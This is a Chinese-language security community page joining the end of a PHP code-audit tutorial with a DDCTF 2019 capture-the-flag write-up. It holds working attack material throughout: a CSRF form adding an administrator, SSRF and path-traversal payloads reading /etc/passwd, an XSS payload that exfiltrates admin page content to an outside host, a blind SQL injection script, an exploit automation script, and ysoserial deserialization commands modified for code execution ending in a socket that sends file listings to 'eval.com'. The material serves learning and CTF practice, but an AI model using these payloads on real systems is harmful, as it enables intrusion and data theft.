我认为如果不检验token，也不检验referer，就相当于存在CSRF。
例：
jtbc最新版后台CSRF添加管理员：
POST /console/account/manage.php?type=action&action=add HTTP/1.1
Host: jtbc
Content-Length: 73
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: jtbc_console[username]=admin; jtbc_console[authentication]=b3d6551693decb76825ab8ee04d3bd85
Connection: close
username=admin2&password=admin&cpassword=admin&role=-1&email=123%40qq.com
以上为添加管理员的数据包，可以看到是不存在任何token的，而即使去掉referer也是可以添加成功的，我们使用Burp生成一个CSRF-POC：
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://jtbc/console/account/manage.php?type=action&action=add" method="POST">
<input type="hidden" name="username" value="admin2" />
<input type="hidden" name="password" value="admin" />
<input type="hidden" name="cpassword" value="admin" />
<input type="hidden" name="role" value="-1" />
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
在浏览器中测试返回结果如下，表明添加成功。
### SSRF
这类漏洞我一般是基于危险函数来找，比如curl_exec/file_get_contents/fsockopen等，如果还有多的函数希望师傅们能够发出来。
如果以上函数中的url，即参数为用户可控的，那么就可能造成SSRF。
例：
贝云cms前台SSRF：
漏洞文件：application\index\controller\User.php
漏洞函数：
public function Post($curlPost,$url){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_NOBODY, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
$return_str = curl_exec($curl);
curl_close($curl);
return $return_str;
}
可以看到这里的$url是我们可控的，因此可以使用file协议来读取任意文件，当然也可以探测内网，攻击redis等，主要还是看利用环境。
payload：
index.php/index/User/postcurlPost=postdata&url=file:///etc/passwd
在小厂利用有限，因为file://协议需要使用绝对路径，所以利用条件是我们得知道绝对路径。
### XXE
同样的，这类漏洞可以根据危险函数逆推回去，而一般造成XXE的函数为：simplexml_load_string(PHP)，还可以关注一下Document等关键字。
例：
豆信v4.04前台XXE：
全局搜索simplexml，可以看到这么一处地方：
<?php
/**
* 微信支付异步通知处理程序
* @author 艾逗笔<[email protected]>
*/
ini_set('always_populate_raw_post_data',-1);
$xml = file_get_contents('php://input');
$arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true); // 将xml格式的数据转换为array数组
print_r($arr);
$attach = $arr['attach']; // 获取通知中包含的附加参数
$params = json_decode($attach, true); // 将附加参数转换为数组
#var_dump($params);
if ($params['notify']) {
$notify_url = $params['notify']; // 将通知转发到插件控制器中进行处理
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $notify_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $arr);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$return = curl_exec($ch);
curl_close($ch);
}
?>
该文件所有代码如上，我们可以发现$xml是我们可控的，由此产生一处XXE。
PS：XXE我个人不是很了解，多次学习未果，所以这类不进行详细举例。
### 任意文件上传
这类漏洞我也是根据危险函数逆推回去，看看上传后缀是否可控，重点关注函数：file_put_contents/move_uploaded_file/fopen/fwrite等。
例：
finecms v5.0.9前台任意文件上传：
漏洞文件：/dayrui/controllers/member/Account.php
漏洞代码：
public function upload() {
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
后缀和内容是从以下正则中提取出来并对其拼接而的出来的，所以我们先分析正则：
preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result
$ext= $matches[2];
$content= $matches[1];
我们构造一个`data:image/php;base64,base64encode(phpcode);`
这时matches1即为php，而matches2就是我们的php代码了，由于后面要经过一次base64decode，所以我们需要先encode一次。
看看新版是如何修复的：
public function upload() {
// 创建图片存储文件夹
$dir = dr_upload_temp_path().'member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json(0, '目录权限不足'));
}
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
不难看出，这里对后缀进行了一次验证，由于这个验证的存在，在新版本中我们只能上传jpg/jpeg/png/gif等后缀。
if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json(0, '目录权限不足'));
}
### 任意文件读取
重点关注file_get_contents/readfile/fread/copy等函数，逆推查看参数是否可控，如果可控则存在漏洞。
例：
Catfish CMS V4.2.35任意文件读取：
漏洞文件：/application/multimedia/controller/Index.php
漏洞函数：
public function index()
{
if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))
{
if(Request::instance()->get('media') == 'image' && $this->isImage(Request::instance()->get('path')))
{
header("Content-Type: image/".Request::instance()->get('ext'));
echo file_get_contents(APP_PATH.'plugins/'.$this->filterPath(Request::instance()->get('path')));
exit;
}
}
}
触发漏洞点：
echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));
这里的path是我们可控的，所以我们可以用../../的方式穿越目录读取其他目录的文件。
我们来看看最新版是怎么修复的：
public function index()
{
if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))
{
if(Request::instance()->get('media') == 'image' && $this->isImage(Request::instance()->get('path')))
{
header("Content-Type: image/".Request::instance()->get('ext'));
echo file_get_contents(APP_PATH.'plugins/'.$this->filterPath(Request::instance()->get('path')));
exit;
}
}
}
可以看到多了一个isImage()的函数来验证我们传过来的path：
private function isImage($image)
{
$pathinfo = pathinfo($image);
if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']))
{
return true;
}
return false;
}
利用pathinfo来获取文件信息，再判断extension是否在允许获取的后缀数组内，这样做乍一看很安全，实际上是不安全的。
php版本小于5.3.4的情况下存在00截断，而file_get_contents函数也存在这个问题，所以如果PHP版本小于5.3.4，这里我们还是可以进行任意文件读取：
测试代码：
<?php
var_dump(pathinfo($_GET['a']));
echo file_get_contents($_GET['a']);
测试环境：PHP 5.2.7
可以看到，最终还是成功读取了，并且extension为jpg，在允许的数组内。
### 任意文件删除
重点关注unlink函数，逆推观察参数是否可控，如果可控则存在漏洞。
一般在用户上传头像时，如果上传成功会把之前的头像删除，一般是从数据库里查询之前的头像路径，但是如果我们可以控制头像路径，就能造成任意文件删除。
例：
yxcms1.2.6任意文件删除：
漏洞代码：
if(!empty($_POST['oldheadpic'])){
$picpath=$this->uploadpath.$_POST['oldheadpic'];
if(file_exists($picpath)) @unlink($picpath);
之前将用户传递过来的oldheadpic和$this->uploadpath拼接，并判断文件是否存在，如果文件存在则调用unlink函数删除。
由于直接将用户参数进行拼接，所以我们可以通过构造../../../的方式来穿越目录，删除其他文件。
这里提供几个比较好的任意文件删除利用思路：
1.删除全局防注入文件进行注入
2.删除安装锁文件进行重装
### 命令执行
这类漏洞的函数较多，我就不一一展开了，而这类漏洞一般存在的位置都是后台，我不会去关注后台的漏洞，所以这类漏洞我了解不深，这里就不班门弄斧了。
### 日志泄露
这类漏洞一般要配合文件监控来挖，因为挖的时候我们能看到文件变化情况，如果日志中记录了敏感信息，那么就算是一个严重了，由于ThinkPHP在开启DEBUG的情况下会在Runtime下生成log文件，所以这种类型的漏洞一般在TP的程序中出现,并且日志中记录的一般为HTTP报文/SQL语句/控制器的错误日志。
只要出现这HTTP报文/SQL语句，并且内含敏感信息，就可以当一个严重去交洞了。
例：
THINKPHP 3.2：
\Runtime\Logs\Home\{year}_{month}_{day}.log
该路径是很容易猜解的，如果内含敏感信息的话很容易被恶意利用。
网上已经给出了相关的漏洞利用工具：<https://github.com/whirlwind110/tphack>
但是我个人认为日志这种东西，格式不是固定的，所以还是要根据对应的CMS自己写一份脚本去跑。
## 总结
当我们在对一份源码进行审计时，需要先了解其全局操作，其次再了解其局部操作，这样更加便于我们了解一份源码的结构，并且我个人建议大家使用黑盒+白盒的方式进行审计，先黑盒粗略过一遍网站结构，再白盒过一遍源码。
对数据库的操作我们可以通读代码来了解，因为关键字不完善，不能直接使用正则匹配的方式来获取漏洞点，但是对PHP某些独立操作如上传文件/删除文件/下载文件等，我建议使用通过函数逆推可控点的方式来寻找，这样效率也高些。
以上即为我这些天内学习代码审计所了解的知识，如果有什么不对，也请师傅们斧正，在挖漏洞的过程中，请教了很多先知群里的师傅，在此也谢谢各位师傅的帮忙:) | 社区文章 |
最近打了打DDCTF，本来是无聊打算水一波。最后竟然做high了，硬肛了几天..
### [100pt] 滴~
看到url疑似base64，尝试解密后发现加密规则如下。
b64(b64(ascii2hex(filename)))
于是可以自己构造，使其实现任意文件读取，首先先尝试/etc/passwd。
[plain] -> ../../../../../../../etc/passwd
[0] HEX -> 2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F2E2E2F6574632F706173737764
[1] base64 -> MkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGMkUyRTJGNjU3NDYzMkY3MDYxNzM3Mzc3NjQ=
[2] base64 -> TWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdNa1V5UlRKR01rVXlSVEpHTWtVeVJUSkdOalUzTkRZek1rWTNNRFl4TnpNM016YzNOalE9
发现斜杠被过滤掉了。此时尝试读一下index.php源码。来看一下规则。
[plain] -> index.php
[2] base64 -> TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
最终获取到源码如下。
在这里，可以看到对对文件读取做了限制，想绕正则，是不存在的。此时打开预留hint看看，猜测可能是echo的问题？试了许久，还是放弃了。
过了几天，默默打开CSDN评论，还是看到一点有意思的东西的。最终发现出题人故意将hint放在practice.txt.swp
emm，贼迷的一题。然后提示flag!ddctf.php
读源码，此时用config替代！号：
~/D/D/web-di~ $ python a.py f1agconfigddctf.php
[0] HEX -> 66316167636F6E66696764646374662E706870
[1] base64 ->NjYzMTYxNjc2MzZGNkU2NjY5Njc2NDY0NjM3NDY2MkU3MDY4NzA=
[2] base64 ->TmpZek1UWXhOamMyTXpaR05rVTJOalk1TmpjMk5EWTBOak0zTkRZMk1rVTNNRFk0TnpBPQ==
然后直接构造就好了
url: http://117.51.150.246/f1ag!ddctf.php
get: ?uid=123&k=php://input
post: 123
### [130pt] 签到题
很简单的一个代码审计题目。一开始有点脑洞，需要绕一下认证，不过也不难。
访问页面，会有一个登陆认证，此时分析流量数据，可以发现他向auth.php请求了一下，返回值刚好是没权限。也就是权限验证在这里，分析数据包，可以发现，请求头有一个username字段。尝试修改为admin，此时成功通过认证。
然后返回了一个源码页面。此时进入分析源码阶段。源码不是太多，核心逻辑也很好懂，包括利用链的构造。
首先，分析源码，可以看到危险函数unserialize，以及file_get_contents。
此时可以大概知道题目大体解题流程如下：
通过session反序列化 -->创建Application对象--> 控制path --> getfalg
此时一步一步来。
分析代码，可以发现session这个变量，是由cookie传入的。此时经过签名校验，确定cookie不可更改。代码如下：
此时可以看到，签名规则是md5(eancrykey+session)，也就是说，我们要想获得cookie控制权，必须得到eancrykey。通读代码，分析eancrykey出现地点。最终发现两个可疑点
a) eancrykey存放目录为../config/key.txt。
由于不在web目录且没有读文件的漏洞，此时攻击者不可获取。
b) 某处代码存在蜜汁调用。
很明显，可以看出是主办方给的后门，但是怎么用呢？
sprintf函数，是格式化字符串用的函数。可以参考c语言的printf，只不过这里不会打印，而是返回格式化后的字符串。
此时可以分析一下逻辑。
# python 伪代码
# 别尝试执行，肯定执行不了
data="Welcome my friend %s"
arr=['eval','key']
for i in arr:
data=sprintf(data,i)
print(data)
# 输出如下：
# Welcome my friend eval
# Welcome my friend eval
此时问题来了，为什么会输出两次？因为在第一次格式化的时候，已经将eval填入data中，第二次格式化前的字符串为：Welcome my friend
eval。此时没有%s占位，key也就无处可去了。
所以，此时我们将eval改成%s，遍可以成功打印出key。机智！
此时成功getkey。然后就可以愉快地伪造session了。
然后继续分析Application，我们该如何伪造session。此时，建议down下来Application.php，方便调试使用。
可以发现，代码中做了两层防护，来保证path的安全性。此时sanitizepath可以通过一个最经典的绕过---“双写” 来进行绕过。
payload: ../
双写后: ..././
此时可以看出，在经过这个函数后，第二三四个字符将会被转为空。然后成功使../逃逸出来。
再看第二个限制了字符为18。此时我们可以通过../和./来进行绕过，不过，唯一缺点是，字符不能超过18个。
此时尝试读取/etc/passwd。计算其长度，为10。此时我们可以构造如下：
/etc/../etc/passwd
双写后:/etc/..././etc/passwd
序列化后:O:11:"Application":1:{s:4:"path";s:21:"/etc/..././etc/passwd";}
按规则签名后:O%3a11%3a"Application"%3a1%3a{s%3a4%3a"path"%3bs%3a21%3a"/etc/..././etc/passwd"%3b}75c51ff78b04d77138ca58f797dedc0a;
此时可以看到成功读取了/etc/passwd。
最终在 ../config/flag.txt读到flag，如下：
### [130pt] Upload-IMG
比较经典的一个题目了，绕过GD库，实现图片马。一般来说，搭配一个文件包含，简直是无敌的。在这里不多解释，直接上脚本了。
<https://github.com/BlackFan/jpg_payload>
> Usage: php jpg_payload.php <jpg_name.jpg>
### [140pt] homebrew event loop
这题给好评，思路超级棒！
先说一下题目：开局给你3块钱，让你买5个一元一个的钻石。从而得到flag。
上来可以拿到源码，首先分析源码。
# flag获取函数
def FLAG()
# 以下三个函数负责对参数进行解析。
# 1. 添加log，并将参数加入队列
def trigger_event(event)
# 2. 工具函数，获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):
# 3. 从队列中取出函数，并分析后，进行执行。（稍后进行详细分析）
def execute_event_loop()
# 网站入口点
def entry_point()
# 页面渲染，三个页面:index/shop/reset
def view_handler()
# 下载源码
def index_handler(args)
# 增加钻石
def buy_handler(args)
# 计算价钱，进行减钱
def consume_point_function(args)
# 输出flag
def show_flag_function(args)
def get_flag_handler(args)
源码大概意思如上，可以看出大概流程。然后仔细分析，可以发现在购买逻辑中。先调用增加钻石，再调用计算价钱的。也就是先货后款。
现实生活中，肯定没毛病，但是在计算机中，会不会出现先给了货后，无法扣款，然后货被拿跑了。此时继续往下看，发现consume_point_function函数中，当钱不够时，会抛出一个RollBackException。此时，在逻辑处理函数execute_event_loop中，会捕获这个异常，并将现有状态置为上一session状态。如下：
此时，天真的我，想起了条件竞争，如果我够快的话，会不会让他加几个钻石，重置session时，重置到已经加完的。
但此时，仔细分析代码，以及flask的特性，你会发现一件事，他的状态并非是基于服务端session，而是客户端session，此时不应该叫他session了，叫cookie更合适一点。也就是，所有的状态都存在客户端。你竞争的话，他的session是单线程的。我必须操作完上一状态，才可以操作下一状态。
此时，条件竞争凉凉。
那既然状态是在客户端，那我可不可以修改？答案是可以。但是你得需要知道flask的secret_key。然后从而伪造cookie，此时我们无法伪造。思路继续断掉。继续分析代码。
仔细分析execute_event_loop，会发现里面有一个eval函数。无论在什么语言中，eval可控， 必定是一个灾难。
此时 action使我们可控的，但是由于白名单过滤的存在，我们可控的范围较小。
此时，我们可控点为eval前面对的action部分，于是后面的脏字符，我们可以通过#去注释掉。（p.s.用的时候请url编码为%23）
但是由于白名单限制，我们无法做一些操作。所以只能依靠其本身的作用 -- 动态执行函数。
此时action，即需要执行的函数名，args，执行函数的参数。这两个都在我们可控范围。
尝试构造如下payload：
?action:show_flag_function%23;123
此时，成功返回：
果然，我是最天真的那个崽。
但此时也证明了我们思路的可行性，此时我们只需要找一个函数，可以给其传一个参数的那种。进而getflag。
（p.s. flag函数无参数，所以我们无法直接执行。）
找啊找啊找朋友，一天过去了，又一天快要过去了... 代码都快会背了....
最终功夫不负有心人，终于发现一个神奇的地方。
第144行，trigger_event函数中，他传入了两个功能。然后回想代码，可以发现前面对各个函数执行，是通过execute_event_loop来对队列里的任务进行执行的。trigger_event正是那个添加任务到队列中的函数，此时该函数我们可控。
再想到之前的条件竞争，我们可以在内部构造一个竞争？对的，可以的，但是此时不配称之为竞争了。
首先我们看一下我们购买的正常逻辑。
此时，由于其先进先出的原因，我们可以一开始就传入两个参数，如下：
?action:trigger_event%23;action:buy;111%23action:get_flag;
此时传入一个buy和getfalg。我们再看一下逻辑。这样成功实现了，没钱买东西。
此时，问题来了，即便我们够了5个钻石，此时也获取不到flag。
因为他将打印flag的语句注释掉了。
可以看图片155行，此时return的为“天真的孩子”。那这样的话，是不是这题就没法解了？
肯定能解啊，怎么可能不能解。
此时仔细看165行，发现了什么？他是将flag作为参数传到show_flag的。别忘了，trigger_event是有log功能的，也就是此时flag会加进log里的。虽然log是在session中，但是，此时flask的特性，我们之前已经说过了。session是在本地的。虽然不能伪造，但是我们还是通过工具解开，查看内容的。
### [200pt] 欢迎报名DDCTF
emm,感觉这题应该比吃鸡分高的。这道题，感觉比较偏实战渗透。不过作为ctf题目来说，的确有点脑洞了。因为大部分同学没往实战上想。
首先第一步：XSS
说实话，一开始拿到这题第一反应是注入。瞎注了半天。最后无疾而终。
知道hint出来，竟然是我最喜欢的xss，然后就做了。做到后面，已经拿到接口了，也尝试了注入，然而又没卵用。
第二步：注入
主办方不放hint是注入的话。这题我就不打算做了。实在get不到点。还是太菜了、
\------以下正文------
xss读文件，很基础。发现waf了iframe和window。在es6新语法中，很好绕的。
function s(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
};
var a = document.createElement("ifr"+"ame");
a.src = "./admin.php";
document.body.appendChild(a);
a.onload = function (){
var c = document.getElementsByTagName("ifr"+"ame")[0]["contentWin"+"dow"].document.getElementsByTagName("body")[0].innerHTML;
s("5am3: "+c);
};
a.onerror = function (){
s("5am3 error!");
};
这里还有一个坑点是，渲染payload是在admin.php，此时如果读当前页面源码，返回的是你的payload。必须再次通过iframe读取admin.php，才能获取到本来的源码。
从源码中，可以得到一个接口：
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=
这就是传说中的注入点！！！要不是主办方肯定他是，我都不敢信...
最后终于通过宽字节注入，试出了点眉目。
p.s.注入过程真心迷，不跑5遍以上脚本，读不出来正确的东西
import requests
url = "http://117.51.147.2/Ze02pQYLf5gGNyMn//query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id={payload}"
sdb ="SELECT database()"
sdbt = "database()"
sschema = "SELECT group_concat(schema_name) from information_schema.SCHEMATA"
stable = "SELECT group_concat(table_name) from information_schema.tables where table_schema=CHAR(99,116,102,100,98)"
scolumn = "SELECT group_concat(column_name) from information_schema.columns where table_name=CHAR(99,116,102,95,102,104,109,72,82,80,76,53)"
sflag = "SELECT group_concat(ctf_value) from ctfdb.ctf_fhmHRPL5"
script = sflag
charIndex = 1
p1 = "1%df%27 || if(ascii(substr(("+script+"),{charIndex},1))={i},sleep(100),5)%23"
plendatabase = "1%df%27 || if(length(database())={i},sleep(100),5)%23"
ptest = "1%df%27 || sleep(5)%23"
# len(database) = 3
# database() = say
# schema = information_schema,ctfdb,say
# table = ctf_fhmHRPL5
# colum = ctf_value
# DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}
string = "qwertyuiopasdfghjklzxcvbnm"
str1=""
slist = range(33,97)
slist += range(123,127)
flag=""
onpayload = p1
# print slist
for j in range(1,50):
for i in range(32,127):
try:
# i = str(hex(i))
i = str(i)
payload = onpayload.replace("{i}",i).replace("{charIndex}",str(j))
r = requests.get(url+payload,timeout=3)
text = r.text.replace("\n","")
text = text.replace("\r","")
text = text.replace("\t","")
# print("["+str(i)+"]" + payload)
# print("[text] " + text[:10])
except:
flag+=chr(int(i))
print(flag)
break
### [210pt] 大吉大利，今晚吃鸡
很迷很尬的一道题，最后小手段才做出来。
首先，很容易可以看出来，是一个go写的。
而且买票时，票价只可以多 ，不可以少。此时可以猜到是溢出，从而实现购买。
可以看一下，go中的数字范围。然后天真的从大往小试。最终卡在了以下俩数。
9223372036854775807 // 可以输入，显示正常
9223372036854775808 // 报500，无法输入
于是自己天真的认为 ，题目对溢出做了判断，然后就凉了。蜜汁分析了半天。
最后再注册处发现一个越权漏洞。每次注册，无论成功与否，都会返回注册用户的cookie，此时可以直接登录。
于是看了一下榜单，挨个试了一下榜单师傅们的id。
最后还真找到了rmb122师傅的账号，然后发现他用的4294967296溢出。也就是uint32
心态炸了。竟然不是uint64，自己也没试uint32。哭了。
此时通过溢出，可以直接购票。然后我们进入下一关，如何删除竞争对手。一说到游戏，顿时想起了“白导”。我自己也导演一场呗。
于是，新建账号 -> 买票 -> 付款 -> 加入游戏 -> 获取id踢掉。一条龙服务。脚本如下：
import requests
import random
import time
tmpID = "1"
tmpSession = requests.session()
registerURL = "http://117.51.147.155:5050/ctf/api/register?name=5am3_t1{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"
headers = {
"Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}
def getTicket(tmpID):
tmpRegisterURL = registerURL.replace("{name}",tmpID)
tmpSession.get(tmpRegisterURL)
billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]
# print(billID)
tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
# print(tmpPayTicketURL)
ticketJson = tmpSession.get(tmpPayTicketURL).json()
# print(ticketJson)
ticket,uid = ticketJson["data"][0].values()
return ticket,uid
if __name__ == '__main__':
i = 1
c = 0
while(i<3 and c < 50):
name = str(random.randint(1000, 90000))
c+=1
try:
ticket,uid = getTicket(name)
# print(ticket,uid)
tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
RRjson = requests.get(tmpRRURL,headers=headers).json()
if(RRjson["data"]):
print("["+str(i)+"] " + str(RRjson["data"]))
print("")
i+=1
time.sleep(1)
except:
pass
### [260pt] mysql弱口令
挺有意思的一道题，最后算是非预期出的吧。预期解实在是想不出来了。
首先拿到题目，其实就感觉是杭电那题了 [wp链接](https://www.yuque.com/sourcecode/2019hgame/happygo)
通过蜜罐sql客户端，来获取连接者的数据。但这题，说实话前期把我玩蒙了。
题目逻辑，首先下载扫描验证端，放到服务器上，做一下信息收集。然后再服务端填写自己服务器信息，就可以开始弱口令扫描了。
天真的我以为端口是填agent的端口。酿成一大惨祸。最后才发现，端口是填数据库端口。这样一来，心结解开。终于能拿数据了。
拿数据的心路历程更加艰难险阻。首先肯定是先读/etc/passwd。进而直接尝试读/flag，发现没有。
此时，自己意识到了事情的不简单。这是要和flag玩捉迷藏么。
这是很难受的一件事...
p.s.心酸历程就不说了。读文件肯定没这么顺利，要都说的话，1万字也收不住。
按照杭电那次学到的妙招，首先可以先读一下/proc/self/environ,如下图。
此时可以发现两个点，第9行和11行，组合起来/home/dc2-user/ctf_web_2/restart.sh。此时读取发现如下信息
从中，我们可以分析出来，该应用为flask应用，用gunicorn中间件起来的。
此时根据规则 gunicorn 文件名:项目名。可以推出：
> /home/dc2-user/ctf_web_2/didi_ctf_web2.py
尝试读取，可以发现：
此时证实了我们的猜想。然后根据flask_script项目的目录结构，进而读取app。
然后一环接一环，依次读出了下面三个。
> /home/dc2-user/ctf_web_2/app/ **init**.py
> /home/dc2-user/ctf_web_2/app/main/ **init**.py
> /home/dc2-user/ctf_web_2/app/main/views.py
在main/views.py中，我们可以看到一个hint。
猜测是通过curl可以从数据库中读到flag...
奈何自己比较菜，看到数据库遍想起来好像有个文件，是在手动修改数据库时，会留log。
对，没错，就是.mysql_history。此时尝试用户目录，root目录，最终在root目录读到flag
> /root/.mysql_history
### [390pt] 再来1杯Java
p.s.压轴题哈，说实话，这题真的学会了不少东西。毕竟自己太菜了，虽然本科专业为java开发狗。但我真的不太熟啊...
一共分为三关吧。
首先是一个PadOracle攻击，伪造cookie。这个解密Cookie可以看到hint： PadOracle:iv/cbc。
第二关，读文件，看到后端代码后，才发现，这里贼坑。
第三关，反序列化。
首先第一关好说，其实在/api/account_info这个接口，就可以拿到返回的明文信息。然后通过Padding Oracle +
cbc翻转来伪造cookie即可。在这里就不多说了。网上很多资料。
最后拿到cookie，直接浏览器写入cookie就OK。然后可以获取到一个下载文件的接口。
> /api/fileDownload?fileName=1.txt
虽然说是一个任意文件读取的接口，但是贼坑、
一顿操作猛如虎，最后只读出/etc/passwd...
搜到了[很多字典](https://github.com/tdifg/payloads/blob/master/lfi.txt)。然后burp爆破一波，最后发现/proc/self/fd/15这里有东西，看到熟悉的pk头，情不自禁的笑了起来。（对，就是源码）
源码也不多，很容易，可以看到一个反序列化的接口。
在反序列化之前，还调用了SerialKiller，作为一个waf，对常见payload进行拦截。
首先题目给了hint：JRMP。根据这个hint，我们可以找到很多资料。在这里自己用的ysoserial，根据他的JRMP模块来进行下一步操作。
在这里，JRMP主要起了一个绕过waf的功能，因为这个waf只在反序列化userinfo时进行了调用。当通过JRMP来读取payload进行反序列化时，不会走waf。
首先，JRMP这个payload被waf掉了，我们可以采用先知上的一种绕过方式。
> <https://xz.aliyun.com/t/2479>
直接修改ysoserial源码即可，将原有的JRMPClient的payload复制一份，改名为JRMPClient2，然后保存并编译。
此时我们可以尝试使用URLDNS模块，来判断是否攻击成功。
# 修改替换{{内容}}
# 开启监听端口
# 建议采用ceye的dnslog查看
java -cp ./ysoserial-5am3.jar ysoserial.exploit.JRMPListener {{port}} URLDNS {{http://eval.com}}
# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8119}} | base64
# 此时将第10行生成的代码，直接打到远程即可。
然后查看dnslog信息。发现存在，那就是ok了。
接下来可以尝试换payload了。此时这里还存在一个问题。服务器端无法执行命令！！
这个是hint中给的，所以我们需要找另一种方式，如：代码执行。
查阅资料，发现ysoserial预留了这块的接口，修改即可。
> <https://blog.csdn.net/fnmsd/article/details/79534877>
然后我们尝试去修改ysoserial/payloads/util/Gadgets.java中createTemplatesImpl方法如下：
// createTemplatesImpl修改版，支持代码执行
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
// command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
// "\");";
String cmd="";
//如果以code:开头，认为是代码，否则认为是命令
if(!command.startsWith("code:")){
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
else{
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出，防止影响payload的输出
cmd = command.substring(5);
}
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
此时，我们的payload已经可以支持代码执行了。
在这里，我是直接用本地的题目环境进行调试，尝试打印了aaa,操作如下。
# 修改替换{{内容}}
# 开启监听端口
# 建议采用ceye的dnslog查看
# 执行时合并为一行，为了好看，我换了下行
java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099
CommonsBeanutils1 'code:System.out.printld("aaa");'
# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64
# 此时将第10行生成的代码，直接打到远程即可。
然后进而写一下获取文件，以及获取目录的代码。此时拿到文件，无法回显。我们可以用Socket来将文件发送到我们的服务器，然后nc监听端口即可。
// 以下代码使用时，记得压缩到一行。
// 获取目录下内容
java.io.File file =new java.io.File("/");
java.io.File[] fileLists = file.listFiles();
java.net.Socket s = new java.net.Socket("eval.com",8768);
